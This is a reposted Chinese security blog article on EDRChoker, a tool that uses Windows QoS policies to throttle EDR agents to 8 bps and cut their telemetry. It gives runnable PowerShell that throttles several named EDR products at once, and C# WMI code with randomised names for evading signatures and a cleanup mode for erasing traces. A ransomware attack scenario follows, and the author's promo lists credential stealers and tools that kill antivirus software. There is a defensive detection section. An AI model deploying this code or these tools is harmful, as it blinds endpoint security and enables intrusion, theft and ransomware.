8bps让所有EDR集体失明!EDRChoker用Windows原生QoS把端点安全送进ICU

admin 2026-07-13 05:11:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: EDRChoker是2026年6月公开的红队工具,通过Windows原生QoS功能将EDRAgent带宽限制为8bps,使其TLS握手永远超时,从而绕过检测。该技术不杀进程、不写驱动,利用pacer.sys在WFP层之下限速,攻击者仅需本地管理员权限即可实施。工具提供PowerShell和C#实现,支持批量节流和清理,适用于红队评估和勒索软件横向渗透。 综合评分: 90 文章分类: 红队,免杀,内网渗透,安全工具,实战经验


cover_image

8 bps 让所有 EDR 集体失明!EDRChoker 用 Windows 原生 QoS 把端点安全送进ICU

原创

星夜AI安全 星夜AI安全

星夜AI安全

2026年7月6日 13:43 吉林

在小说阅读器读本章

去阅读

🌈

2026年6月最火开源免杀工具 EDRChoker 技术全解析——不杀进程、不注入代码、不写驱动,仅靠 Windows 内置的 pacer.sys QoS 策略把 EDR 带宽掐到 8 bps,让 TLS 握手永远在超时窗口外。本文附 PowerShell 复现命令与 C# WMI 实现路径。

8 bps 让所有 EDR 集体失明!EDRChoker 用 Windows 原生 QoS 把端点安全送进 ICU

攻击者不必再和 EDR 拼 syscall 拼线程拼 ETW——只要把 Agent 的带宽压到 8 bit/s,TLS 握手永远到不了对端,云端安全运营中心瞬间变成”看着摄像头死机”。


一、技术全貌:这是一场温柔的”窒息”

EDRChoker 是安全研究员 @TwoSevenOneT 于 2026 年 6 月 7 日在 Zero Salarium 博客公开的红队工具,3 天内冲上 GitHub Trending,CSDN、CN-SEC、Securonix 等媒体相继报道。它做了一件所有前辈都不敢做的事——不杀进程、不写驱动、不注入 shellcode,仅靠调用 Windows 原生的 Policy-Based QoS 功能,就把 EDR Agent 与管理控制台的连接掐得死死的。

工具 GitHub 仓库 TwoSevenOneT/EDRChoker 已开源 C# 源码,作者在 Program.cs 中通过 WMI 调用 ROOT\StandardCimv2:MSFT_NetQosPolicySettingData 类创建 QoS 策略。整条攻击链的最核心指令浓缩成一行 PowerShell:

New-NetQosPolicy -Name "EDRProcess" `
  -AppPathNameMatchCondition "edragent.exe" `
  -ThrottleRateActionBitsPerSecond 8 `
  -PolicyStore ActiveStore

执行后,被命中的 EDR 进程(如 Elastic Defend 的 winlogbeat.exe、SentinelOne 的 SentinelAgent.exe、CrowdStrike 的 csagent.exe)出站带宽被硬限制为每秒 8 bit,而标准 TLS 1.3 握手至少需要 3-10 KB 数据——握手永远无法在 2-5 秒的超时窗口内完成,Agent 进入”无限重试”状态,却不产生任何 blocked packets、dropped packets 或 WFP filter events

一句话总结:EDR 没被杀、没被挂起、没被替换,只是”永远在等”。


二、为什么这个技术让 2026 年的 EDR 厂商集体失语

要把这件事讲清楚,得先理解 Windows 网络栈的分层:

1. 应用层(Application)                 ← EDR 监控主战场
2. 传输层(tcpip.sys)
3. Windows 过滤平台(WFP)              ← EDRSilencer 在这一层
4. NDIS 边界
5. pacer.sys(QoS Packet Scheduler)     ← EDRChoker 在这一层
6. 网卡(NIC)

过去两年红队主流工具都在 WFP 层做文章:EDRSilencer 通过 WFP Callout 阻断 EDR 与云端的 TCP 连接。但这也意味着——所有 WFP 层的阻断行为都会被 EDR 自身的 WFP 监控钩子捕获,告警与日志几乎是自动生成的。

EDRChoker 的天才之处在于:pacer.sys 位于 WFP 下方,处理的是 WFP 已完成过滤决策之后的原始以太网帧。它使用 Windows 系统自带的 QoS 调度器,完全属于内核合法组件,操作发生在 EDR 视野之外。这就好比——你装了监控摄像头,劫匪不破坏摄像头,而是把光纤掰成 8 bps 的小水管,让监控室永远看到的是黑屏。

更恐怖的是,该技术不需要任何第三方依赖

  • 不需要写驱动(BYOVD 类工具如 EDRKillShifter/AuKill 都需要带签名的驱动)
  • 不需要 PPL 滥用
  • 不需要内核回调移除
  • 不需要修改任何 EDR 二进制

只需要本地管理员权限——而这在勒索软件横向渗透的中后期,几乎是标配。

MITRE ATT&CK v19 框架在 2026 年 4 月已将 Defense Evasion (TA0005) 拆分为 Stealth(隐身)Defense Impairment(致残) 两个独立战术,EDRChoker 完美对应 T1562.001 (Impair Defenses: Disable or Modify Tools) 的全新释义——”不是禁用工具,而是让工具失能”。


三、技术原理解析(核心部分)

技术要点 1:8 bit/s 带宽背后的数学陷阱

TLS 1.3 握手的最小流量模型:

| 阶段 | 数据量 | | — | — | | ClientHello | ~250-500 B | | ServerHello + Certificate + CertificateVerify | ~2-5 KB | | Finished | ~100-200 B | | 合计 | 3-6 KB |

EDR Agent 与管理控制台建立 TLS 连接的超时阈值通常为 2-5 秒。数学题来了:

🌈

8 bit/s × 5 s = 40 bit = 5 字节

5 字节连 ClientHello 的握手头都发不完。

更精妙的是:Agent 不会立即报错退出,而是持续重试。这意味着 EDR 在 SOC 看来是”在线”状态(心跳有响应),但实际上永远处于 half-open TCP——既不发送有意义的遥测,也无法接收云端下发的指令。

PowerShell 复现(攻击者视角)

# 1. 创建 QoS 节流策略,针对单个 EDR 进程
New-NetQosPolicy -Name "Elastic_Defend_Throttle" `
  -AppPathNameMatchCondition "C:\Program Files\Elastic\Agent\winlogbeat.exe" `
  -ThrottleRateActionBitsPerSecond 8 `
  -IPProtocolMatchCondition 3 `
  -NetworkProfile 0 `
  -PolicyStore ActiveStore

# 2. 同时针对多个主流 EDR 进程(批量掐死)
$edrList = @(
    "C:\Program Files\Elastic\Agent\winlogbeat.exe",
    "C:\Program Files\SentinelOne\Sentinel Agent\SentinelAgent.exe",
    "C:\Program Files\CrowdStrike\csagent.exe",
    "C:\Program Files\Windows Defender\MpCmdRun.exe"
)
foreach ($edr in $edrList) {
    New-NetQosPolicy -Name "Throttle_$(Split-Path $edr -Leaf)" `
      -AppPathNameMatchCondition $edr `
      -ThrottleRateActionBitsPerSecond 8 `
      -PolicyStore ActiveStore
}

# 3. 验证策略已生效
Get-NetQosPolicy -PolicyStore ActiveStore | Format-Table Name, ThrottleRateActionBitsPerSecond

注意:上述脚本仅用于授权红队演练,严禁未授权使用。

技术要点 2:pacer.sys 在 WFP 之下的反检测优势

pacer.sys(QoS Packet Scheduler)是 Windows 自带的 NDIS 轻量级过滤驱动,从 Windows 7 起就内置在系统里,所有 Windows 10/11 设备默认加载。它的设计初衷是为 QoS 流量整形、流量优先级提供服务。

但因为它的处理位置位于 WFP 之下,导致 EDR 在 WFP 层注册的流量监控回调完全看不到 QoS 调度器的存在。攻击者通过 Policy-Based QoS 定义的策略,由 pacer.sys 直接在原始以太网帧级别限速,绕过了所有 WFP 层的遥测采集。

反取证细节

  • GUID 与策略名称每次运行随机化{random-GUID}\{random-name}\ActiveStore),无法通过固定签名告警
  • PolicyStore ActiveStore 立即生效且跨重启持久化
  • EDR Agent 的日志只会记录”连接超时重试”,而不会记录”被 QoS 限速”
  • Sysmon Event ID 3(Network Connect)依然会记录连接尝试,但握手始终不完整

技术要点 3:C# WMI 实现路径(EDRChoker 源码核心)

EDRChoker 的 Program.cs 核心逻辑调用了 WMI 类 MSFT_NetQosPolicySettingData

using System.Management;

public class QosThrottler
{
    public static void ThrottleEdrAgent(string processPath, int bpsLimit = 8)
    {
        var scope = new ManagementScope(@"\\.\ROOT\StandardCimv2");
        scope.Connect();

        var instance = new ManagementClass(scope, new ManagementPath("MSFT_NetQosPolicySettingData"), null)
            .CreateInstance();

        // 随机化 InstanceID 以规避签名检测
        string randomGuid = Guid.NewGuid().ToString();
        string randomName = "QoS_" + Guid.NewGuid().ToString("N").Substring(0, 8);
        instance["InstanceID"] = $"{randomGuid}\\{randomName}\\ActiveStore";

        instance["Name"] = randomName;
        instance["AppPathName"] = processPath;
        instance["ThrottleRateActionBitsPerSecond"] = (ulong)bpsLimit;
        instance["IPProtocol"] = 3;  // 同时匹配 TCP + UDP
        instance["NetworkProfile"] = 0;  // 所有网络配置

        instance.Put();  // 写入 ActiveStore,立即生效

        Console.WriteLine($"[+] Throttled: {processPath} -> {bpsLimit} bps");
    }
}

Remove 模式(干净清理)

public static void CleanupAllPolicies()
{
    var scope = new ManagementScope(@"\\.\ROOT\StandardCimv2");
    scope.Connect();

    var searcher = new ManagementObjectSearcher(scope,
        new ObjectQuery("SELECT * FROM MSFT_NetQosPolicySettingData"));

    foreach (ManagementObject policy in searcher.Get())
    {
        policy.Delete();
        Console.WriteLine($"[-] Removed: {policy["Name"]}");
    }
}

无参数运行 EDRChoker.exe 自动进入 Remove 模式,这种”自带清理工具”的体贴设计让红队撤离时能完美擦除痕迹——这本身也是 2026 年红队工具的趋势:默认即清理


四、实战应用场景

场景 1:勒索软件横向渗透的”黄金窗口”

传统勒索软件攻击链:钓鱼 → 拿普通用户 → 提权 → 关 EDR → 横向 → 加密。而 EDRChoker 引入了一个全新阶段:致盲 EDR

[1] 钓鱼拿到某员工笔记本普通用户权限
        ↓
[2] PowerShell 执行 EDRChoker,8 bps 节流 30 秒
        ↓
[3] SOC 监控大屏上,该主机状态显示"在线、Agent 健康"
   但实际遥测已经停摆
        ↓
[4] 攻击者 1-3 小时从容横向、提权、部署勒索软件
        ↓
[5] 加密完成后,攻击者执行 Remove 模式清理 QoS 策略
        ↓
[6] EDR 恢复正常时,磁盘已经被加密

从攻击者角度看,这比 BYOVD 工具(EDRKillShifter/AuKill)安全得多——不留驱动加载痕迹、不触发 PatchGuard、不产生 ETW 事件

场景 2:红队评估中的合规隐蔽动作

对于持牌渗透测试团队,EDRChoker 让”在客户不知情情况下评估 EDR 实际效能”成为可能:

  • 测试前确认目标 EDR 已部署
  • 通过社工拿到立足点
  • 启用 EDRChoker,运行实际攻击链
  • 测试完成后 Remove 模式清理
  • 向客户提交报告:“贵司 SOC 在 3 小时内未检测到任何异常,但攻击链已完成”

场景 3:与现有 BYOVD 工具链的组合打法

EDRChoker 与其他 2026 年主流 EDR 绕过工具并不冲突,反而形成完美的互补矩阵

| 工具 | 干扰层 | 是否需驱动 | 检测难度 | 适用阶段 | | — | — | — | — | — | | EDRSilencer | WFP 层 | 否 | 高(已签名化) | 阻断出站 | | EDRKillShifter | 内核 | ✅ 是 | 中 | 终止进程 | | EDR-Freeze | 进程状态 | 否 | 中 | 暂停 Agent | | EDRChoker | pacer.sys | | | 致盲遥测 |

理想组合:EDRChoker 致盲遥测 → BYOVD 关残留进程 → 攻击链执行


五、防御对抗建议

面对这种”温柔窒息”型攻击,传统基于流量阈值的检测完全失效——因为攻击流量就是正常握手的握手,只是永远握手不完。防御侧必须从以下角度切入:

1. 监控 QoS 策略变更(关键)

# Sysmon 配置:监控 WMI 活动
# Event ID 19/20/21:WMI EventFilter/Consumer/Binding
# 重点关注对 ROOT\StandardCimv2:MSFT_NetQosPolicySettingData 的创建操作

SIEM 规则示例(Splunk):

index=windows EventCode=1
| where match(CommandLine, "(?i)New-NetQosPolicy.*ThrottleRateActionBitsPerSecond")
| stats count by host, user, CommandLine
| where count > 0

2. EDR Agent 健康度自检(不依赖网络层)

EDR 厂商应增加心跳完整性校验:Agent 应能检测自身与云端的 TLS 握手是否长期处于半连接状态,并对超过阈值的失联主动告警。

3. 定期 QoS 策略审计

# 蓝队合规检查命令
Get-NetQosPolicy -PolicyStore ActiveStore |
  Where-Object { $_.ThrottleRateActionBitsPerSecond -lt 100000 } |
  Format-Table Name, AppPathName, ThrottleRateActionBitsPerSecond

4. 启用 PowerShell 高级日志 + ScriptBlockLogging

New-NetQosPolicy 调用会被 ScriptBlock 完整记录,需在域内所有机器强制开启 4104 事件日志。

虽然 EDRChoker 不直接使用 oplock,但攻击链中往往配合 symlink/junction 操作,建议补充:

index=sysmon EventCode=1 CommandLine="*mklink*"
| stats count by host, user

6. 假设失陷模型(Assume-Breach)

按 MITRE ATT&CK v19 的建议:默认攻击者一定会设法致盲 EDR。SOC 必须在 EDR 失能假设下设计检测能力,而非依赖 EDR 提供”完整可视化”。


六、技术延伸阅读

工具与 GitHub

  • EDRChoker 源码:https://github.com/TwoSevenOneT/EDRChoker[1]
  • 原作者博客:https://www.zerosalarium.com/2026/06/edrchoker-choking-telemetry-stream-block-edr.html[2]
  • Securonix 技术分析:https://connect.securonix.com/threat-research-intelligence-62/edrchoker-the-edr-bypass-playbook-adds-qos-throttling-370[3]
  • EDRSilencer(同类对照):https://github.com/netero1010/EDRSilencer[4]

配套工具

  • EDRKillShifter(BYOVD 内核攻击)
  • EDR-Freeze(进程状态冻结)
  • AuKill(带签名驱动关进程)

微软官方文档

  • New-NetQosPowerShell cmdlet
  • Policy-Based QoS 技术概述
  • Microsoft Defender for Endpoint 的 Tamper Protection 机制

MITRE ATT&CK 对照

  • T1562.001 – Impair Defenses: Disable or Modify Tools
  • T1112 – Modify Registry
  • T1490 – Inhibit System Recovery
  • T1070 – Indicator Removal

写在最后:EDRChoker 给整个行业最大的启示是——“温柔”比”暴力”更致命。当攻击者不再执着于破坏 EDR,而是让 EDR 安静地”在沉默中失能”,所有基于告警-响应的传统安全运营都将被迫重构。2026 年红队的胜负手,已经不在”能不能过 EDR”,而在”过完 EDR 之后 1-3 小时窗口里能做什么”。

技术永远在攻防之间螺旋上升,下次再爆类似工具时,希望你已经把 QoS 监控、Agent 健康度自检、失陷假设演练这三件事做完了。

关注「星夜AI安全」,下期我们将拆解:勒索软件团伙如何把 BlueHammer + EDRChoker 组合使用,1 小时内端掉整家公司。

圈子介绍

现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获”最佳攻击手””突出贡献个人”等荣誉。

已产出的安全工具及成果包括:

  • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
  • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
  • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
  • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
  • WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
  • _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
  • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
  • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
  • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
  • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
  • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
  • win11 一键kill 360工具 InjectKill(包含源码)
  • win11 一键kill defender工具win11_df-killer(包含源码)
  • 免杀火绒6.0内存防护加载器BypassMemLoader

后续将不断更新到内部圈子中 欢迎加入圈子

引用链接

[1]https://github.com/TwoSevenOneT/EDRChoker

[2]https://www.zerosalarium.com/2026/06/edrchoker-choking-telemetry-stream-block-edr.html

[3]https://connect.securonix.com/threat-research-intelligence-62/edrchoker-the-edr-bypass-playbook-adds-qos-throttling-370

[4]https://github.com/netero1010/EDRSilencer


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《8 bps 让所有 EDR 集体失明!EDRChoker 用 Windows 原生 QoS 把端点安全送进ICU》

ClaudeCodeAi渗透 网络安全文章

ClaudeCodeAi渗透

文章总结: 本文介绍一款基于ClaudeCode的AI渗透工具,集成WebShell与C2等MCP组件,支持多引擎资产收集。作者建议重点研究核心配置文件,并提示
评论:0   参与:  0